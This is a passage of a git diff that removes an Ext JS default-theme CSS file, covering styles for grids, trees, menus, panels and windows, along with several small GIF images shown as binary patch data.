-} - -.x-item-disabled .x-tbar-page-prev{ - background-image: url(../images/default/grid/page-prev-disabled.gif) !important; -} - -.x-paging-info { - color:#444; -} - -.x-toolbar-more-icon { - background-image: url(../images/default/toolbar/more.gif) !important; -}.x-resizable-handle { - background-color:#fff; -} - -.x-resizable-over .x-resizable-handle-east, .x-resizable-pinned .x-resizable-handle-east, -.x-resizable-over .x-resizable-handle-west, .x-resizable-pinned .x-resizable-handle-west -{ - background-image:url(../images/default/sizer/e-handle.gif); -} - -.x-resizable-over .x-resizable-handle-south, .x-resizable-pinned .x-resizable-handle-south, -.x-resizable-over .x-resizable-handle-north, .x-resizable-pinned .x-resizable-handle-north -{ - background-image:url(../images/default/sizer/s-handle.gif); -} - -.x-resizable-over .x-resizable-handle-north, .x-resizable-pinned .x-resizable-handle-north{ - background-image:url(../images/default/sizer/s-handle.gif); -} -.x-resizable-over .x-resizable-handle-southeast, .x-resizable-pinned .x-resizable-handle-southeast{ - background-image:url(../images/default/sizer/se-handle.gif); -} -.x-resizable-over .x-resizable-handle-northwest, .x-resizable-pinned .x-resizable-handle-northwest{ - background-image:url(../images/default/sizer/nw-handle.gif); -} -.x-resizable-over .x-resizable-handle-northeast, .x-resizable-pinned .x-resizable-handle-northeast{ - background-image:url(../images/default/sizer/ne-handle.gif); -} -.x-resizable-over .x-resizable-handle-southwest, .x-resizable-pinned .x-resizable-handle-southwest{ - background-image:url(../images/default/sizer/sw-handle.gif); -} -.x-resizable-proxy{ - border-color:#3b5a82; -} -.x-resizable-overlay{ - background-color:#fff; -} -.x-grid3 { - background-color:#fff; -} - -.x-grid-panel .x-panel-mc .x-panel-body { - border-color:#99bbe8; -} - -.x-grid3-row td, .x-grid3-summary-row td{ - font:normal 11px/13px arial, tahoma, helvetica, sans-serif; -} - -.x-grid3-hd-row td { - font:normal 11px/15px arial, tahoma, helvetica, sans-serif; -} - - -.x-grid3-hd-row td { - border-left-color:#eee; - border-right-color:#d0d0d0; -} - -.x-grid-row-loading { - background-color: #fff; - background-image:url(../images/default/shared/loading-balls.gif); -} - -.x-grid3-row { - border-color:#ededed; - border-top-color:#fff; -} - -.x-grid3-row-alt{ - background-color:#fafafa; -} - -.x-grid3-row-over { - border-color:#ddd; - background-color:#efefef; - background-image:url(../images/default/grid/row-over.gif); -} - -.x-grid3-resize-proxy { - background-color:#777; -} - -.x-grid3-resize-marker { - background-color:#777; -} - -.x-grid3-header{ - background-color:#f9f9f9; - background-image:url(../images/default/grid/grid3-hrow.gif); -} - -.x-grid3-header-pop { - border-left-color:#d0d0d0; -} - -.x-grid3-header-pop-inner { - border-left-color:#eee; - background-image:url(../images/default/grid/hd-pop.gif); -} - -td.x-grid3-hd-over, td.sort-desc, td.sort-asc, td.x-grid3-hd-menu-open { - border-left-color:#aaccf6; - border-right-color:#aaccf6; -} - -td.x-grid3-hd-over .x-grid3-hd-inner, td.sort-desc .x-grid3-hd-inner, td.sort-asc .x-grid3-hd-inner, td.x-grid3-hd-menu-open .x-grid3-hd-inner { - background-color:#ebf3fd; - background-image:url(../images/default/grid/grid3-hrow-over.gif); - -} - -.sort-asc .x-grid3-sort-icon { - background-image: url(../images/default/grid/sort_asc.gif); -} - -.sort-desc .x-grid3-sort-icon { - background-image: url(../images/default/grid/sort_desc.gif); -} - -.x-grid3-cell-text, .x-grid3-hd-text { - color:#000; -} - -.x-grid3-split { - background-image: url(../images/default/grid/grid-split.gif); -} - -.x-grid3-hd-text { - color:#15428b; -} - -.x-dd-drag-proxy .x-grid3-hd-inner{ - background-color:#ebf3fd; - background-image:url(../images/default/grid/grid3-hrow-over.gif); - border-color:#aaccf6; -} - -.col-move-top{ - background-image:url(../images/default/grid/col-move-top.gif); -} - -.col-move-bottom{ - background-image:url(../images/default/grid/col-move-bottom.gif); -} - -td.grid-hd-group-cell { - background: url(../images/default/grid/grid3-hrow.gif) repeat-x bottom; -} - -.x-grid3-row-selected { - background-color: #dfe8f6 !important; - background-image: none; - border-color:#a3bae9; -} - -.x-grid3-cell-selected{ - background-color: #b8cfee !important; - color:#000; -} - -.x-grid3-cell-selected span{ - color:#000 !important; -} - -.x-grid3-cell-selected .x-grid3-cell-text{ - color:#000; -} - -.x-grid3-locked td.x-grid3-row-marker, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker{ - background-color:#ebeadb !important; - background-image:url(../images/default/grid/grid-hrow.gif) !important; - color:#000; - border-top-color:#fff; - border-right-color:#6fa0df !important; -} - -.x-grid3-locked td.x-grid3-row-marker div, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker div{ - color:#15428b !important; -} - -.x-grid3-dirty-cell { - background-image:url(../images/default/grid/dirty.gif); -} - -.x-grid3-topbar, .x-grid3-bottombar{ - font:normal 11px arial, tahoma, helvetica, sans-serif; -} - -.x-grid3-bottombar .x-toolbar{ - border-top-color:#a9bfd3; -} - -.x-props-grid .x-grid3-td-name .x-grid3-cell-inner{ - background-image:url(../images/default/grid/grid3-special-col-bg.gif) !important; - color:#000 !important; -} - -.x-props-grid .x-grid3-body .x-grid3-td-name{ - background-color:#fff !important; - border-right-color:#eee; -} - -.xg-hmenu-sort-asc .x-menu-item-icon{ - background-image: url(../images/default/grid/hmenu-asc.gif); -} - -.xg-hmenu-sort-desc .x-menu-item-icon{ - background-image: url(../images/default/grid/hmenu-desc.gif); -} - -.xg-hmenu-lock .x-menu-item-icon{ - background-image: url(../images/default/grid/hmenu-lock.gif); -} - -.xg-hmenu-unlock .x-menu-item-icon{ - background-image: url(../images/default/grid/hmenu-unlock.gif); -} - -.x-grid3-hd-btn { - background-color:#c3daf9; - background-image:url(../images/default/grid/grid3-hd-btn.gif); -} - -.x-grid3-body .x-grid3-td-expander { - background-image:url(../images/default/grid/grid3-special-col-bg.gif); -} - -.x-grid3-row-expander { - background-image:url(../images/default/grid/row-expand-sprite.gif); -} - -.x-grid3-body .x-grid3-td-checker { - background-image: url(../images/default/grid/grid3-special-col-bg.gif); -} - -.x-grid3-row-checker, .x-grid3-hd-checker { - background-image:url(../images/default/grid/row-check-sprite.gif); -} - -.x-grid3-body .x-grid3-td-numberer { - background-image:url(../images/default/grid/grid3-special-col-bg.gif); -} - -.x-grid3-body .x-grid3-td-numberer .x-grid3-cell-inner { - color:#444; -} - -.x-grid3-body .x-grid3-td-row-icon { - background-image:url(../images/default/grid/grid3-special-col-bg.gif); -} - -.x-grid3-body .x-grid3-row-selected .x-grid3-td-numberer, -.x-grid3-body .x-grid3-row-selected .x-grid3-td-checker, -.x-grid3-body .x-grid3-row-selected .x-grid3-td-expander { - background-image:url(../images/default/grid/grid3-special-col-sel-bg.gif); -} - -.x-grid3-check-col { - background-image:url(../images/default/menu/unchecked.gif); -} - -.x-grid3-check-col-on { - background-image:url(../images/default/menu/checked.gif); -} - -.x-grid-group, .x-grid-group-body, .x-grid-group-hd { - zoom:1; -} - -.x-grid-group-hd { - border-bottom-color:#99bbe8; -} - -.x-grid-group-hd div.x-grid-group-title { - background-image:url(../images/default/grid/group-collapse.gif); - color:#3764a0; - font:bold 11px tahoma, arial, helvetica, sans-serif; -} - -.x-grid-group-collapsed .x-grid-group-hd div.x-grid-group-title { - background-image:url(../images/default/grid/group-expand.gif); -} - -.x-group-by-icon { - background-image:url(../images/default/grid/group-by.gif); -} - -.x-cols-icon { - background-image:url(../images/default/grid/columns.gif); -} - -.x-show-groups-icon { - background-image:url(../images/default/grid/group-by.gif); -} - -.x-grid-empty { - color:gray; - font:normal 11px tahoma, arial, helvetica, sans-serif; -} - -.x-grid-with-col-lines .x-grid3-row td.x-grid3-cell { - border-right-color:#ededed; -} - -.x-grid-with-col-lines .x-grid3-row-selected { - border-top-color:#a3bae9; -}.x-pivotgrid .x-grid3-header-offset table td { - background: url(../images/default/grid/grid3-hrow.gif) repeat-x 50% 100%; - border-left: 1px solid; - border-right: 1px solid; - border-left-color: #EEE; - border-right-color: #D0D0D0; -} - -.x-pivotgrid .x-grid3-row-headers { - background-color: #f9f9f9; -} - -.x-pivotgrid .x-grid3-row-headers table td { - background: #EEE url(../images/default/grid/grid3-rowheader.gif) repeat-x left top; - border-left: 1px solid; - border-right: 1px solid; - border-left-color: #EEE; - border-right-color: #D0D0D0; - border-bottom: 1px solid; - border-bottom-color: #D0D0D0; - height: 18px; -} -.x-dd-drag-ghost{ - color:#000; - font: normal 11px arial, helvetica, sans-serif; - border-color: #ddd #bbb #bbb #ddd; - background-color:#fff; -} - -.x-dd-drop-nodrop .x-dd-drop-icon{ - background-image: url(../images/default/dd/drop-no.gif); -} - -.x-dd-drop-ok .x-dd-drop-icon{ - background-image: url(../images/default/dd/drop-yes.gif); -} - -.x-dd-drop-ok-add .x-dd-drop-icon{ - background-image: url(../images/default/dd/drop-add.gif); -} - -.x-view-selector { - background-color:#c3daf9; - border-color:#3399bb; -}.x-tree-node-expanded .x-tree-node-icon{ - background-image:url(../images/default/tree/folder-open.gif); -} - -.x-tree-node-leaf .x-tree-node-icon{ - background-image:url(../images/default/tree/folder.gif); -} - -.x-tree-node-collapsed .x-tree-node-icon{ - background-image:url(../images/default/tree/folder.gif); -} - -.x-tree-node-loading .x-tree-node-icon{ - background-image:url(../images/default/tree/loading.gif) !important; -} - -.x-tree-node .x-tree-node-inline-icon { - background-image: none; -} - -.x-tree-node-loading a span{ - font-style: italic; - color:#444444; -} - -.x-tree-lines .x-tree-elbow{ - background-image:url(../images/default/tree/elbow.gif); -} - -.x-tree-lines .x-tree-elbow-plus{ - background-image:url(../images/default/tree/elbow-plus.gif); -} - -.x-tree-lines .x-tree-elbow-minus{ - background-image:url(../images/default/tree/elbow-minus.gif); -} - -.x-tree-lines .x-tree-elbow-end{ - background-image:url(../images/default/tree/elbow-end.gif); -} - -.x-tree-lines .x-tree-elbow-end-plus{ - background-image:url(../images/default/tree/elbow-end-plus.gif); -} - -.x-tree-lines .x-tree-elbow-end-minus{ - background-image:url(../images/default/tree/elbow-end-minus.gif); -} - -.x-tree-lines .x-tree-elbow-line{ - background-image:url(../images/default/tree/elbow-line.gif); -} - -.x-tree-no-lines .x-tree-elbow-plus{ - background-image:url(../images/default/tree/elbow-plus-nl.gif); -} - -.x-tree-no-lines .x-tree-elbow-minus{ - background-image:url(../images/default/tree/elbow-minus-nl.gif); -} - -.x-tree-no-lines .x-tree-elbow-end-plus{ - background-image:url(../images/default/tree/elbow-end-plus-nl.gif); -} - -.x-tree-no-lines .x-tree-elbow-end-minus{ - background-image:url(../images/default/tree/elbow-end-minus-nl.gif); -} - -.x-tree-arrows .x-tree-elbow-plus{ - background-image:url(../images/default/tree/arrows.gif); -} - -.x-tree-arrows .x-tree-elbow-minus{ - background-image:url(../images/default/tree/arrows.gif); -} - -.x-tree-arrows .x-tree-elbow-end-plus{ - background-image:url(../images/default/tree/arrows.gif); -} - -.x-tree-arrows .x-tree-elbow-end-minus{ - background-image:url(../images/default/tree/arrows.gif); -} - -.x-tree-node{ - color:#000; - font: normal 11px arial, tahoma, helvetica, sans-serif; -} - -.x-tree-node a, .x-dd-drag-ghost a{ - color:#000; -} - -.x-tree-node a span, .x-dd-drag-ghost a span{ - color:#000; -} - -.x-tree-node .x-tree-node-disabled a span{ - color:gray !important; -} - -.x-tree-node div.x-tree-drag-insert-below{ - border-bottom-color:#36c; -} - -.x-tree-node div.x-tree-drag-insert-above{ - border-top-color:#36c; -} - -.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-below a{ - border-bottom-color:#36c; -} - -.x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-above a{ - border-top-color:#36c; -} - -.x-tree-node .x-tree-drag-append a span{ - background-color:#ddd; - border-color:gray; -} - -.x-tree-node .x-tree-node-over { - background-color: #eee; -} - -.x-tree-node .x-tree-selected { - background-color: #d9e8fb; -} - -.x-tree-drop-ok-append .x-dd-drop-icon{ - background-image: url(../images/default/tree/drop-add.gif); -} - -.x-tree-drop-ok-above .x-dd-drop-icon{ - background-image: url(../images/default/tree/drop-over.gif); -} - -.x-tree-drop-ok-below .x-dd-drop-icon{ - background-image: url(../images/default/tree/drop-under.gif); -} - -.x-tree-drop-ok-between .x-dd-drop-icon{ - background-image: url(../images/default/tree/drop-between.gif); -}.x-date-picker { - border-color: #1b376c; - background-color:#fff; -} - -.x-date-middle,.x-date-left,.x-date-right { - background-image: url(../images/default/shared/hd-sprite.gif); - color:#fff; - font:bold 11px "sans serif", tahoma, verdana, helvetica; -} - -.x-date-middle .x-btn .x-btn-text { - color:#fff; -} - -.x-date-middle .x-btn-mc em.x-btn-arrow { - background-image:url(../images/default/toolbar/btn-arrow-light.gif); -} - -.x-date-right a { - background-image: url(../images/default/shared/right-btn.gif); -} - -.x-date-left a{ - background-image: url(../images/default/shared/left-btn.gif); -} - -.x-date-inner th { - background-color:#dfecfb; - background-image:url(../images/default/shared/glass-bg.gif); - border-bottom-color:#a3bad9; - font:normal 10px arial, helvetica,tahoma,sans-serif; - color:#233d6d; -} - -.x-date-inner td { - border-color:#fff; -} - -.x-date-inner a { - font:normal 11px arial, helvetica,tahoma,sans-serif; - color:#000; -} - -.x-date-inner .x-date-active{ - color:#000; -} - -.x-date-inner .x-date-selected a{ - background-color:#dfecfb; - background-image:url(../images/default/shared/glass-bg.gif); - border-color:#8db2e3; -} - -.x-date-inner .x-date-today a{ - border-color:darkred; -} - -.x-date-inner .x-date-selected span{ - font-weight:bold; -} - -.x-date-inner .x-date-prevday a,.x-date-inner .x-date-nextday a { - color:#aaa; -} - -.x-date-bottom { - border-top-color:#a3bad9; - background-color:#dfecfb; - background-image:url(../images/default/shared/glass-bg.gif); -} - -.x-date-inner a:hover, .x-date-inner .x-date-disabled a:hover{ - color:#000; - background-color:#ddecfe; -} - -.x-date-inner .x-date-disabled a { - background-color:#eee; - color:#bbb; -} - -.x-date-mmenu{ - background-color:#eee !important; -} - -.x-date-mmenu .x-menu-item { - font-size:10px; - color:#000; -} - -.x-date-mp { - background-color:#fff; -} - -.x-date-mp td { - font:normal 11px arial, helvetica,tahoma,sans-serif; -} - -.x-date-mp-btns button { - background-color:#083772; - color:#fff; - border-color: #3366cc #000055 #000055 #3366cc; - font:normal 11px arial, helvetica,tahoma,sans-serif; -} - -.x-date-mp-btns { - background-color: #dfecfb; - background-image: url(../images/default/shared/glass-bg.gif); -} - -.x-date-mp-btns td { - border-top-color: #c5d2df; -} - -td.x-date-mp-month a,td.x-date-mp-year a { - color:#15428b; -} - -td.x-date-mp-month a:hover,td.x-date-mp-year a:hover { - color:#15428b; - background-color: #ddecfe; -} - -td.x-date-mp-sel a { - background-color: #dfecfb; - background-image: url(../images/default/shared/glass-bg.gif); - border-color:#8db2e3; -} - -.x-date-mp-ybtn a { - background-image:url(../images/default/panel/tool-sprites.gif); -} - -td.x-date-mp-sep { - border-right-color:#c5d2df; -}.x-tip .x-tip-close{ - background-image: url(../images/default/qtip/close.gif); -} - -.x-tip .x-tip-tc, .x-tip .x-tip-tl, .x-tip .x-tip-tr, .x-tip .x-tip-bc, .x-tip .x-tip-bl, .x-tip .x-tip-br, .x-tip .x-tip-ml, .x-tip .x-tip-mr { - background-image: url(../images/default/qtip/tip-sprite.gif); -} - -.x-tip .x-tip-mc { - font: normal 11px tahoma,arial,helvetica,sans-serif; -} -.x-tip .x-tip-ml { - background-color: #fff; -} - -.x-tip .x-tip-header-text { - font: bold 11px tahoma,arial,helvetica,sans-serif; - color:#444; -} - -.x-tip .x-tip-body { - font: normal 11px tahoma,arial,helvetica,sans-serif; - color:#444; -} - -.x-form-invalid-tip .x-tip-tc, .x-form-invalid-tip .x-tip-tl, .x-form-invalid-tip .x-tip-tr, .x-form-invalid-tip .x-tip-bc, -.x-form-invalid-tip .x-tip-bl, .x-form-invalid-tip .x-tip-br, .x-form-invalid-tip .x-tip-ml, .x-form-invalid-tip .x-tip-mr -{ - background-image: url(../images/default/form/error-tip-corners.gif); -} - -.x-form-invalid-tip .x-tip-body { - background-image:url(../images/default/form/exclamation.gif); -} - -.x-tip-anchor { - background-image:url(../images/default/qtip/tip-anchor-sprite.gif); -}.x-menu { - background-color:#f0f0f0; - background-image:url(../images/default/menu/menu.gif); -} - -.x-menu-floating{ - border-color:#718bb7; -} - -.x-menu-nosep { - background-image:none; -} - -.x-menu-list-item{ - font:normal 11px arial,tahoma,sans-serif; -} - -.x-menu-item-arrow{ - background-image:url(../images/default/menu/menu-parent.gif); -} - -.x-menu-sep { - background-color:#e0e0e0; - border-bottom-color:#fff; -} - -a.x-menu-item { - color:#222; -} - -.x-menu-item-active { - background-image: url(../images/default/menu/item-over.gif); - background-color: #dbecf4; - border-color:#aaccf6; -} - -.x-menu-item-active a.x-menu-item { - border-color:#aaccf6; -} - -.x-menu-check-item .x-menu-item-icon{ - background-image:url(../images/default/menu/unchecked.gif); -} - -.x-menu-item-checked .x-menu-item-icon{ - background-image:url(../images/default/menu/checked.gif); -} - -.x-menu-item-checked .x-menu-group-item .x-menu-item-icon{ - background-image:url(../images/default/menu/group-checked.gif); -} - -.x-menu-group-item .x-menu-item-icon{ - background-image:none; -} - -.x-menu-plain { - background-color:#f0f0f0 !important; - background-image: none; -} - -.x-date-menu, .x-color-menu{ - background-color: #fff !important; -} - -.x-menu .x-date-picker{ - border-color:#a3bad9; -} - -.x-cycle-menu .x-menu-item-checked { - border-color:#a3bae9 !important; - background-color:#def8f6; -} - -.x-menu-scroller-top { - background-image:url(../images/default/layout/mini-top.gif); -} - -.x-menu-scroller-bottom { - background-image:url(../images/default/layout/mini-bottom.gif); -} -.x-box-tl { - background-image: url(../images/default/box/corners.gif); -} - -.x-box-tc { - background-image: url(../images/default/box/tb.gif); -} - -.x-box-tr { - background-image: url(../images/default/box/corners.gif); -} - -.x-box-ml { - background-image: url(../images/default/box/l.gif); -} - -.x-box-mc { - background-color: #eee; - background-image: url(../images/default/box/tb.gif); - font-family: "Myriad Pro","Myriad Web","Tahoma","Helvetica","Arial",sans-serif; - color: #393939; - font-size: 12px; -} - -.x-box-mc h3 { - font-size: 14px; - font-weight: bold; -} - -.x-box-mr { - background-image: url(../images/default/box/r.gif); -} - -.x-box-bl { - background-image: url(../images/default/box/corners.gif); -} - -.x-box-bc { - background-image: url(../images/default/box/tb.gif); -} - -.x-box-br { - background-image: url(../images/default/box/corners.gif); -} - -.x-box-blue .x-box-bl, .x-box-blue .x-box-br, .x-box-blue .x-box-tl, .x-box-blue .x-box-tr { - background-image: url(../images/default/box/corners-blue.gif); -} - -.x-box-blue .x-box-bc, .x-box-blue .x-box-mc, .x-box-blue .x-box-tc { - background-image: url(../images/default/box/tb-blue.gif); -} - -.x-box-blue .x-box-mc { - background-color: #c3daf9; -} - -.x-box-blue .x-box-mc h3 { - color: #17385b; -} - -.x-box-blue .x-box-ml { - background-image: url(../images/default/box/l-blue.gif); -} - -.x-box-blue .x-box-mr { - background-image: url(../images/default/box/r-blue.gif); -}.x-combo-list { - border-color:#98c0f4; - background-color:#ddecfe; - font:normal 12px tahoma, arial, helvetica, sans-serif; -} - -.x-combo-list-inner { - background-color:#fff; -} - -.x-combo-list-hd { - font:bold 11px tahoma, arial, helvetica, sans-serif; - color:#15428b; - background-image: url(../images/default/layout/panel-title-light-bg.gif); - border-bottom-color:#98c0f4; -} - -.x-resizable-pinned .x-combo-list-inner { - border-bottom-color:#98c0f4; -} - -.x-combo-list-item { - border-color:#fff; -} - -.x-combo-list .x-combo-selected{ - border-color:#a3bae9 !important; - background-color:#dfe8f6; -} - -.x-combo-list .x-toolbar { - border-top-color:#98c0f4; -} - -.x-combo-list-small { - font:normal 11px tahoma, arial, helvetica, sans-serif; -}.x-panel { - border-color: #99bbe8; -} - -.x-panel-header { - color:#15428b; - font-weight:bold; - font-size: 11px; - font-family: tahoma,arial,verdana,sans-serif; - border-color:#99bbe8; - background-image: url(../images/default/panel/white-top-bottom.gif); -} - -.x-panel-body { - border-color:#99bbe8; - background-color:#fff; -} - -.x-panel-bbar .x-toolbar, .x-panel-tbar .x-toolbar { - border-color:#99bbe8; -} - -.x-panel-tbar-noheader .x-toolbar, .x-panel-mc .x-panel-tbar .x-toolbar { - border-top-color:#99bbe8; -} - -.x-panel-body-noheader, .x-panel-mc .x-panel-body { - border-top-color:#99bbe8; -} - -.x-panel-tl .x-panel-header { - color:#15428b; - font:bold 11px tahoma,arial,verdana,sans-serif; -} - -.x-panel-tc { - background-image: url(../images/default/panel/top-bottom.gif); -} - -.x-panel-tl, .x-panel-tr, .x-panel-bl, .x-panel-br{ - background-image: url(../images/default/panel/corners-sprite.gif); - border-bottom-color:#99bbe8; -} - -.x-panel-bc { - background-image: url(../images/default/panel/top-bottom.gif); -} - -.x-panel-mc { - font: normal 11px tahoma,arial,helvetica,sans-serif; - background-color:#dfe8f6; -} - -.x-panel-ml { - background-color: #fff; - background-image:url(../images/default/panel/left-right.gif); -} - -.x-panel-mr { - background-image: url(../images/default/panel/left-right.gif); -} - -.x-tool { - background-image:url(../images/default/panel/tool-sprites.gif); -} - -.x-panel-ghost { - background-color:#cbddf3; -} - -.x-panel-ghost ul { - border-color:#99bbe8; -} - -.x-panel-dd-spacer { - border-color:#99bbe8; -} - -.x-panel-fbar td,.x-panel-fbar span,.x-panel-fbar input,.x-panel-fbar div,.x-panel-fbar select,.x-panel-fbar label{ - font:normal 11px arial,tahoma, helvetica, sans-serif; -} -.x-window-proxy { - background-color:#c7dffc; - border-color:#99bbe8; -} - -.x-window-tl .x-window-header { - color:#15428b; - font:bold 11px tahoma,arial,verdana,sans-serif; -} - -.x-window-tc { - background-image: url(../images/default/window/top-bottom.png); -} - -.x-window-tl { - background-image: url(../images/default/window/left-corners.png); -} - -.x-window-tr { - background-image: url(../images/default/window/right-corners.png); -} - -.x-window-bc { - background-image: url(../images/default/window/top-bottom.png); -} - -.x-window-bl { - background-image: url(../images/default/window/left-corners.png); -} - -.x-window-br { - background-image: url(../images/default/window/right-corners.png); -} - -.x-window-mc { - border-color:#99bbe8; - font: normal 11px tahoma,arial,helvetica,sans-serif; - background-color:#dfe8f6; -} - -.x-window-ml { - background-image: url(../images/default/window/left-right.png); -} - -.x-window-mr { - background-image: url(../images/default/window/left-right.png); -} - -.x-window-maximized .x-window-tc { - background-color:#fff; -} - -.x-window-bbar .x-toolbar { - border-top-color:#99bbe8; -} - -.x-panel-ghost .x-window-tl { - border-bottom-color:#99bbe8; -} - -.x-panel-collapsed .x-window-tl { - border-bottom-color:#84a0c4; -} - -.x-dlg-mask{ - background-color:#ccc; -} - -.x-window-plain .x-window-mc { - background-color: #ccd9e8; - border-color: #a3bae9 #dfe8f6 #dfe8f6 #a3bae9; -} - -.x-window-plain .x-window-body { - border-color: #dfe8f6 #a3bae9 #a3bae9 #dfe8f6; -} - -body.x-body-masked .x-window-plain .x-window-mc { - background-color: #ccd9e8; -}.x-html-editor-wrap { - border-color:#a9bfd3; - background-color:#fff; -} -.x-html-editor-tb .x-btn-text { - background-image:url(../images/default/editor/tb-sprite.gif); -}.x-panel-noborder .x-panel-header-noborder { - border-bottom-color:#99bbe8; -} - -.x-panel-noborder .x-panel-tbar-noborder .x-toolbar { - border-bottom-color:#99bbe8; -} - -.x-panel-noborder .x-panel-bbar-noborder .x-toolbar { - border-top-color:#99bbe8; -} - -.x-tab-panel-bbar-noborder .x-toolbar { - border-top-color:#99bbe8; -} - -.x-tab-panel-tbar-noborder .x-toolbar { - border-bottom-color:#99bbe8; -}.x-border-layout-ct { - background-color:#dfe8f6; -} - -.x-accordion-hd { - color:#222; - font-weight:normal; - background-image: url(../images/default/panel/light-hd.gif); -} - -.x-layout-collapsed{ - background-color:#d2e0f2; - border-color:#98c0f4; -} - -.x-layout-collapsed-over{ - background-color:#d9e8fb; -} - -.x-layout-split-west .x-layout-mini { - background-image:url(../images/default/layout/mini-left.gif); -} -.x-layout-split-east .x-layout-mini { - background-image:url(../images/default/layout/mini-right.gif); -} -.x-layout-split-north .x-layout-mini { - background-image:url(../images/default/layout/mini-top.gif); -} -.x-layout-split-south .x-layout-mini { - background-image:url(../images/default/layout/mini-bottom.gif); -} - -.x-layout-cmini-west .x-layout-mini { - background-image:url(../images/default/layout/mini-right.gif); -} - -.x-layout-cmini-east .x-layout-mini { - background-image:url(../images/default/layout/mini-left.gif); -} - -.x-layout-cmini-north .x-layout-mini { - background-image:url(../images/default/layout/mini-bottom.gif); -} - -.x-layout-cmini-south .x-layout-mini { - background-image:url(../images/default/layout/mini-top.gif); -}.x-progress-wrap { - border-color:#6593cf; -} - -.x-progress-inner { - background-color:#e0e8f3; - background-image:url(../images/default/qtip/bg.gif); -} - -.x-progress-bar { - background-color:#9cbfee; - background-image:url(../images/default/progress/progress-bg.gif); - border-top-color:#d1e4fd; - border-bottom-color:#7fa9e4; - border-right-color:#7fa9e4; -} - -.x-progress-text { - font-size:11px; - font-weight:bold; - color:#fff; -} - -.x-progress-text-back { - color:#396095; -}.x-list-header{ - background-color:#f9f9f9; - background-image:url(../images/default/grid/grid3-hrow.gif); -} - -.x-list-header-inner div em { - border-left-color:#ddd; - font:normal 11px arial, tahoma, helvetica, sans-serif; -} - -.x-list-body dt em { - font:normal 11px arial, tahoma, helvetica, sans-serif; -} - -.x-list-over { - background-color:#eee; -} - -.x-list-selected { - background-color:#dfe8f6; -} - -.x-list-resizer { - border-left-color:#555; - border-right-color:#555; -} - -.x-list-header-inner em.sort-asc, .x-list-header-inner em.sort-desc { - background-image:url(../images/default/grid/sort-hd.gif); - border-color: #99bbe8; -}.x-slider-horz, .x-slider-horz .x-slider-end, .x-slider-horz .x-slider-inner { - background-image:url(../images/default/slider/slider-bg.png); -} - -.x-slider-horz .x-slider-thumb { - background-image:url(../images/default/slider/slider-thumb.png); -} - -.x-slider-vert, .x-slider-vert .x-slider-end, .x-slider-vert .x-slider-inner { - background-image:url(../images/default/slider/slider-v-bg.png); -} - -.x-slider-vert .x-slider-thumb { - background-image:url(../images/default/slider/slider-v-thumb.png); -}.x-window-dlg .ext-mb-text, -.x-window-dlg .x-window-header-text { - font-size:12px; -} - -.x-window-dlg .ext-mb-textarea { - font:normal 12px tahoma,arial,helvetica,sans-serif; -} - -.x-window-dlg .x-msg-box-wait { - background-image:url(../images/default/grid/loading.gif); -} - -.x-window-dlg .ext-mb-info { - background-image:url(../images/default/window/icon-info.gif); -} - -.x-window-dlg .ext-mb-warning { - background-image:url(../images/default/window/icon-warning.gif); -} - -.x-window-dlg .ext-mb-question { - background-image:url(../images/default/window/icon-question.gif); -} - -.x-window-dlg .ext-mb-error { - background-image:url(../images/default/window/icon-error.gif); -} \ No newline at end of file diff --git a/public/images/default/box/corners-blue.gif b/public/images/default/box/corners-blue.gif deleted file mode 100644 index fa419b50abe5030db04492578d5dfd39c02fb6ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1010 zcmZ?wbhEHbXlGzpbnMH9^WV;$J9qKo#mkp3U%h(u+O=ypZrr$e^X8p9ckbT3 zd+*-8gExOZc<|ui!-tO^J$n53@slS{o<4p0?Af#D&!4}1`SR7PSFc~ce)Hzd+qZAu zy?gim{reZ6{(SiG;p4}TpFVy1{Q2{jFJHcX{rc_Ox9{J-|M>Ca=g*(NfB*jT=g;52 zfB*ga_y7NYhEYJJ5ODbKKqZq#iZO~mS(q6ZW-;i1JPgVc3>@bfOgUvd3KTeaMcKM` zTmT9+Dym5^6eP5&35jyCL~LwoUdG4CQ1IlzMJEOhS7<|o6TkONJB|cJt&_qGY8j_CFdSfKOOVXz5IAt4 zV}p{G0>c6amIz;I6#<3?kJdQw@UbxnC^#-)=MmtuQ0WM8YMvo$(vtdt@jw$#qNfCh wKq7O5AQyweiU(yaTnsEKITutM85$V*3^XlGzJaNxkCA+uU@@+{rdHrH*em)ef#d+yZ7(kfB5j>g)|NZ;-|Nno6kqR9CJB(DX)7#&QKUtU= zfEhstWHBgDFmRk=;OCU_C{XAUlw(`PkjU7?)Tn7;VYmK z&r@KbvglBQu=1upg@udrDMSY z2FDg@ogF$0Oia(gUJntM;F*w7{y{XRIF%d;*fMw Ru}w*2KC@pnhK+^68UTSX)nNbt diff --git a/public/images/default/box/l-blue.gif b/public/images/default/box/l-blue.gif deleted file mode 100644 index 5ed7f0043b6b0f956076e02583ca7d18a150e8f6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 810 zcmZ?wbhEHbWMN=rXlGzpbnMHWJ9pl^dGqhzKZa2-8UiCM1QdU=0Db(QK?me-P@Z7m PU}s=uVK7ioV6X-NGaC=| diff --git a/public/images/default/box/l.gif b/public/images/default/box/l.gif deleted file mode 100644 index 0160f97fe75409f17ab6c3c91f7cbdc58afa8f8f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 810 zcmZ?wbhEHbWMN=rXlGzJc<|tzJ9pl^dGqhzKZa2-8UiCM1QdU=0Db(QK?me-P@Z7m PU}s=uVK7ioV6X-N<)RPU diff --git a/public/images/default/box/r-blue.gif b/public/images/default/box/r-blue.gif deleted file mode 100644 index 3ea5cae3b7b571ec41ac2b5d38c8a675a1f66efc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 810 zcmZ?wbhEHbWMN=rXlGzpbnMHWJ9pl^dGr7Oe}+*o8UiCM1QdU=0Db(QK?me-P@Z7m PU}s=w;80LdV6X-NJSY$C diff --git a/public/images/default/box/r.gif b/public/images/default/box/r.gif deleted file mode 100644 index 34237f6292a7da6ac5d1b95d13ce76a7194dd596..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 810 zcmZ?wbhEHbWMN=rXlGzJc<|tzJ9pl^dGr7Oe}+*o8UiCM1QdU=0Db(QK?me-P@Z7m PU}s=w;80LdV6X-N?ynEj diff --git 